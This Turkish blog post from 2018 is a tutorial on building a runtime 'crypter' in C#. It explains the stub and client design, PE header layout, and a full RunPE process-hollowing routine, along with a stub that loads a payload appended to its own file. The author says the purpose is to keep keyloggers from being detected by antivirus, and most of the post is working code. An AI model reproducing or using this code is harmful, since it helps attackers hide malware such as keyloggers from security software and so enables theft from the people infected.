11 Ekim 2018 Perşembe

crypter Nedir?

Crypter Nedir?
Crypter, temel olarak şifreleyici anlamına gelmektedir ve programları şifreleme görevini üstlenirler. Genel olarak kullanım amaçları yazılmış olan bir programın decompile edilmesini önlemek, yada yazılımın başka yazılımlar ve insanlar tarafından tespit edilmesini önlemektir. Günümüzde Bizler Bu Tür Şeyleri Keylogger üzerinden kullanıp anti vürüslere takılmasını önlüyoruz.

Crypterlar 2 parçadan oluşurlar;

Client
Stub
Client
Client, şifrelenecek olan yazılımı stub içerisine enjekte ederek, yazılımın bu stub üzerinde çalışmasını sağlar.

Stub

Kelime anlamı olarak maske demektir. Şifrelenecek olan yazılımı sararak gizler. Çalıştırıldığında zararlı yazılımı memorye yükler.

Crypterlar çalışma şekillerine göre ikiye ayrılırlar;

Scantime Crypter
Runtime Crypter
Scantime Crypter
Bu tarz crypter ile şifrelenen yazılımlar, stub çalıştığı anda önceden belirlenmiş bir dizine çıkartılırlar. Bu yöntemde, stub çalışmadan önce yazılım tespit edilemez. Fakat stub çalıştıktan sonra yazılım export edileceğinden ilgili dizin kontrol edildiğinde tespit edilebilmektedir.

Runtime Crypter
Bu yöntem ile şifrelenen yazılım herhangi bir dizine çıkarılmadan direkt olarak memorye yüklenir ve çalıştırılır. Bu şekilde şifrelenen bir yazılımın ilkel yöntemlerde tespit edilmesi imkansızdır. Memory analizi ve dinamik analiz yapılması gerekir. Bu dokümanda Runtime Crypter yapımı anlatılacaktır.

Runtime crypterların en önemli kısmı RunPE (hafızadan process çalıştırma) modülüdür. Bu modül yazılımımız için memory allocation işlemlerini yapacak ve yazılımı bu alana map edecektir. Windows platformlarda bu işlemler kernel32.dll ve ntdll.dll modülleri ile yapılmaktadır. Öncelikli olarak bu modüllerde kullanmış olduğumuz fonksiyonları inceleyelim.

[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref hesap.STARTUP_INFORMATION startupInfo, ref hesap.PROCESS_INFORMATION processInformation);
SuppressUnmanagedCodeSecurity : CLR (Common Language Runtime) çalışırken bir takım güvenlik prosedürleri çalıştırır. Bu prosedürler unmanaged kodun çalışması sırasında kısıtlamalar getirir. Kernel32 fonksiyonunu çağırmadan önce bu attribute’u eklediğimizde güvenlik prosedürleri baskılanarak kodun çalışması sağlanır.

CreateProcess : Parametre olarak application name ve command line stringlerini alır. Sonraki iki parametre process ve thread security attribute’larıdır.Oluşacak childların erişimini belirler. Beşinci parametre oluşan yeni prosesin prosesi oluşturan prosesden kalıtım(inherit) yapıp yapamayacağını belirler. Daha sonra creationFlag yani oluşacak yeni prosesin hangi modda oluşacağını belirleyen parametre yer alır. Sonraki iki parametre prosesin çalışacağı environment bilgileri ve dizin bilgileri belirtir. Son iki parametre ise startup ve proses bilgilerini barındırır.

[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll")]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll")]
private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
GetThreadContext : Birinci parametrede verilen threadin context’ini, ikinci parametrede verilen array’e kaydeder.

Wow64GetThreadContext : GetThreadContext fonksiyonunun 64 bit versiyonudur.

[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll")]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll")]
private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
SetThreadContext : İkinci parametrede verilen byte arrayı, ilk parametrede verilen threadin contexti olarak atar.

Wow64SetThreadContext : SetThreadContext fonksiyonunun 64 bit versiyonudur.

[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll")]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll")]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
ReadProcessMemory : İlk parametre olarak aldığı prosese ait memorynin ikinci parametrede aldığı adresden itibaren dördüncü parametre kadar alanı okur okunan bufferı üçüncü parametreye okunan byte sayısını beşinci parametreye aktarır.

WriteProcessMemory : İlk parametre olarak aldığı prosese ait memorynin ikinci parametrede aldığı adresinden itibaren üçüncü parametredeki verileri dördüncü parametre kadarlık alana yazar beşinci parametreye kaç byte yazdığını döndürür.

[SuppressUnmanagedCodeSecurity]
[DllImport("ntdll.dll")]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
NtUnmapViewOfSection : Ntdll.dll modülünün içinde bulunur. Prosese ait view alanını boşaltır.

[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll")]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
VirtualAllocEx : Belirtilen işleme sanal bellek alanı  tahsis edilir. İlk parametre prosesi, ikinci parametre tahsis edilecek memory’nin adresini (Boş bırakılırsa uygun bir adres sistem tarafından belirlenir.), üçüncü parametre kaç byte’lık alanın tahsis edileceğini, dördüncü parametre memory allocation tipini (mem_commit | mem_reserved), beşinci parametre memory erişim iznini belirler (execute, read, write).

[SuppressUnmanagedCodeSecurity]
[DllImport("kernel32.dll")]
private static extern int ResumeThread(IntPtr handle);
ResumeThread : Askıya alınmış olan thread tekrardan aktif hale getirilir.

API fonksiyonlarını classımızın en başında tanımlıyoruz. Daha sonra HandleRun adında bir method oluşturuyoruz. Yapmamız gereken ilk iş bir proses oluşturmak. Prosesi oluşturduktan sonra payloadımızda bazı headerları kontrol etmemiz gerekiyor. Bunun için öncelikle Microsoft PE (Portable Executable) dosya yapısını inceleyelim.

Microsoft PE Dosya Yapısı

DOS Header
PE Signature
COFF Header
Optional Header
Section Table
Mappable Sections

MZ header olarakda geçmektedir. İlk iki byte MZ karakterleridir ve  Microsoft executable mimarisini oluşturan Mark Zbikowski’nin adından gelmektedir. Bütün dosya formatlarında ilk bytelar signature yada magic number olarak adlandırılan formatı belirleyen bytelardır. Bu header içerisinde bulunan değerlerin birçoğu günümüz mimarisinde kullanılmamaktadır. Fakat eski programların çalışabilmesi için ve yeni bir mimarinin çok maliyetli olmasından dolayı Dos Header hala bulunmaktadır. Ayrıca içerisindeki minalloc maxalloc parametreleri minimum ve maksimum memory tahsis miktarının belirler. Bu headerın son 4 byte’ı olan e_lfanew PE headerın başlangıç offsetini gösterir. PE headerın devamında COFF (Common Object File Format) Header bulunmaktadır.Dos Header

PE/COFF Header

PE header sadece 4 bytelık bir veri içerdiğidinden COFF header ile birlikte ele alınırlar. PE header  “PE\0\0”  degerini barındırır. Hemen ardından COFF header bölümü başlar ve içerisindeki değerler sırasıyla şu şekildedir: 2 byte Machine, 2 byte NumberOfSections, 4  byte TimeDateStamp, 4  byte PointerToSymbolTable, 4  byte NumberOfSymbols, 2 byte SizeOfOptionalHeader , 2 byte Characteristics.

Machine : Dosyanın derlendiği mimariyi belirtir.

NumberOfSections : Bölüm sayısını belirtir.

TimeDateStamp : Dosyanın derlendiği tarih ve saati belirtir.

PointerToSymbolTable : Sembol tablosunu gösterir.

NumberOfSymbols : Sembol tablosundaki sembol sayısını verir.

SizeOfOptionalHeader : PE Optional Header boyutunu belirtir.

Characteristics : Dosyanın exe, dll, çalışma zamanı özellikleri ile bilgileri içerir.

PE Optional Header

İsminde optional geçse de özü itibariyle opsiyonel değildir. PE dosyasının olmazsa olmazlarındandır. Lakin COFF içerisinde değildir. İçerisinde işletim sistemi versiyonundan kod boyutuna kadar birçok bilgi barındırır. Biz burada hepsini değil sadece işimize yarayacak olan değerleri açıklayacağız.

ImageBase :  Proses hafızaya yüklendiğinde ilk byte’ın tercih edilen adresini belirtir.

AddressofEntryPoint : Programın başlangıç noktasını belirtir. Bu nokta aynı zamanda .text section’nı işaret eder.

SizeofImage : Binary dosyayının boyutunu belirtir.

SizeofHeaders : Headerların toplam boyutunu verir.

Section Table

Bölüm başlıkları PE dosyasının bölümlerine ilişkin bilgileri tutmaktadır. Bölümlerin isimleri, nereden başladıkları, ne uzunlukta oldukları gibi bilgiler bölüm başlıklarında bulunurlar. Bölüm tablosu hemen PE Optional Header’dan sonra gelmektedir. Çalıştırılabilen PE dosyalarında bölümlerin RVA'ları bağlayıcılar tarafından PE dosyası içerisine küçükten büyüğe doğru ve ardışıl olarak yerleştirilirler. Bölüm başlıkları 40 byte uzunluğunda olan IMAGE_SECTION_HEADER yapısıyla temsil edilmektedir. Başlıca birkaç section şöyledir:

.text : Programın kod kısmıdır.

.data : Global değişkenler tutulur.

.bss : Initialize edilmemiş değişkenler tutulur.

.idata : Import, export tablosu tutulur.

.rsrc : Resim vb. kaynaklar tutulur.

.reloc : Relocation verisi tutulur.

Devamında Sectionlar bulunmaktadır. Şimdilik bu kadar teorik bilginin yeterli olduğunu düşünüyorum artık uygulamaya geçebiliriz.

Öncelikle payloadımızın e_lfanew değerini kontrol ederek PE headerın başlangıç değerini buluyoruz. Bu değeri diğer bütün header bilgilerini bulurken referans olarak kullanacağız. İlerde kullanmak üzere ImageBase değerini de şimdiden çekiyoruz.

int num2 = BitConverter.ToInt32(data, 60);// PE HEADER pointer
int num3 = BitConverter.ToInt32(data, num2 + 52);//ImageBase
Prosesin birincil thread’inin içeriğini okuyoruz. Bu içeriğin 41. byte bize thread’in stack pointerını, 44. byte  program counterı vermektedir. Birincil thread de doğrudan bizim payloadı çalıştıracağından bu değerleri daha sonra değiştireceğiz.

if (IntPtr.Size == 4)
{
  if (!hesap.GetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
  {
    throw new Exception();
  }
}
else if (!hesap.Wow64GetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
{
  throw new Exception();
}
Thread’in stack pointerından stack’in adresini okuyoruz. Bu okuduğumuz adres stub’ın adresi olmakla beraber eğer payload’ın ImageBase’i ile çakışıyorsa stub’ın hafıza alanını boşaltıyoruz.

if (!hesap.ReadProcessMemory(pROCESS_INFORMATION.ProcessHandle,num4+8,ref num5, 4, ref num))
{
  throw new Exception();
}               
if (num3 == num5)
{
  if(hesap.NtUnmapViewOfSection(pROCESS_INFORMATION.ProcessHandle, num5) != 0)
  {
    throw new Exception();
  }
}
Daha sonra payloadın SizeofImage değerini ve SizeofHeaders değerini öğrenerek payloadın boyutu kadar sanal bellek alanı oluşturuyoruz. Ardından header bilgilerini doğrudan bu alana yazıyoruz.

int length = BitConverter.ToInt32(data, num2 + 80); //SizeofImage
int bufferSize = BitConverter.ToInt32(data, num2 + 84);//SizeofHeaders                           
int num6 = hesap.VirtualAllocEx(pROCESS_INFORMATION.ProcessHandle, num3, length, 12288, 64);
if (!compatible && num6 == 0)
{
  flag = true;
  num6 = hesap.VirtualAllocEx(pROCESS_INFORMATION.ProcessHandle, 0, length, 12288, 64);
}
if (num6 == 0)
{
  throw new Exception();
}
if (!hesap.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num6, data, bufferSize, ref num))
{
  throw new Exception();
}
Header bilgilerini yazdıktan sonra sıra sectionları yazmaya geldi bunun için öncelikle section tablosunun başlangıç offsetini ve kaç adet section olduğunu öğreniyoruz. Ardından her sectionı sırayla sanal bellek alanına ekliyoruz.

int num7 = num2 + 248;//Section table başlangıç offseti
short num8 = BitConverter.ToInt16(data, num2 + 6);//NumberofSection
for (int i = 0; i <= (int)(num8 - 1); i++)
{
  int num9 = BitConverter.ToInt32(data, num7 + 12);//Section Virtual Address
  int num10 = BitConverter.ToInt32(data, num7 + 16);//Section Raw Size
  int srcOffset = BitConverter.ToInt32(data, num7 + 20);//Section Raw Address
  if (num10 != 0)
  {
    byte[] array2 = new byte[num10];
    Buffer.BlockCopy(data, srcOffset, array2, 0, array2.Length);
    if (!hesap.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num6 + num9, array2, array2.Length, ref num))
    {
      throw new Exception();
    }
  }
num7 += 40;
}
Oluşturulan sanal belleği fiziksel belleğe kopyalıyoruz ve payloadın AddressofEntryPoint adresini birincil thread’in program counterına atıyoruz.

byte[] bytes = BitConverter.GetBytes(num6);
if (!hesap.WriteProcessMemory(pROCESS_INFORMATION.ProcessHandle, num4 + 8, bytes, 4, ref num))
{
  throw new Exception();
}
int num11 = BitConverter.ToInt32(data, num2 + 40); //AddressofEntryPoint
if (flag)
{
  num6 = num3;
}
array[44] = num6 + num11;
if (IntPtr.Size == 4)
{
  if (!hesap.SetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
  {
    throw new Exception();
  }
}
else if (!hesap.Wow64SetThreadContext(pROCESS_INFORMATION.ThreadHandle, array))
{
  throw new Exception();
}
İlk başta suspend modda açmış olduğumuz prosesi aktif hale getiriyoruz ve çalışmasına devam etmesini sağlıyoruz.

if (hesap.ResumeThread(pROCESS_INFORMATION.ThreadHandle) == -1)
{
  throw new Exception();
}
Herhangi bir hata oluşursa programın sonlandırılması için try/catch bloğu içine alıyoruz ve programı sonlandırıyoruz.

Process processById = Process.GetProcessById(Convert.ToInt32(pROCESS_INFORMATION.ProcessId) );
  if (processById != null)
{
  processById.Kill();
}
Oluşturacak olduğumuz crypterın RunPE kodları bu kadar. Payload da stub’ın kendi üzerinde bulunacağından küçük bir binary parser da eklememiz gerecek.

static void Main()
{
  string owntext = File.ReadAllText(System.Reflection.Assembly.GetEntryAssembly().Location);
  string[] ayrac = { "..OO.PP.SS.." };
  string[] payloadRes = owntext.Split(ayrac, StringSplitOptions.None);
  byte[] payload = StringToByteArray(payloadRes[1]);
  for (int i = 1; i <= 5; i++)
  {
    if (hesap.HandleRun ( System.Reflection.Assembly.GetEntryAssembly().Location, "", payload, false))
    {
      break;
    }
  }
}
public static byte[] StringToByteArray(String hex)
{
  int NumberChars = hex.Length;
  byte[] bytes = new byte[NumberChars / 2];
  for (int i = 0; i < NumberChars; i += 2)
    bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
  return bytes;
}
Kısaca bu kodu da açıklamak gerekirse öncelikle program kendi kendisini okuyor. Daha sonra okunan bu stringi ayraç olarak belirlenen karakter dizisinden itibaren ayırıyoruz. Elde ettiğimiz stringi byte’a dönüştürdükten sonra RunPE kodumuzu yazarken tanımladığımız HandleRun fonksiyonuna programın kendisi ile birlikte parametre olarak veriyoruz.

Bütün bu işlemleri yaptıktan sonra crypterımız kullanıma hazır. İsterseniz daha da geliştirmek için encryption,encoding gibi özellikler ekleyebilirsiniz. Stubın üzerine payloadı isterseniz herhangi bir hex editör yardımı ile elle ekleyebilir, isterseniz bunu sizin yerinize yapan bir Client programını yazabilirsiniz.

0 yorum:

Yorum Gönder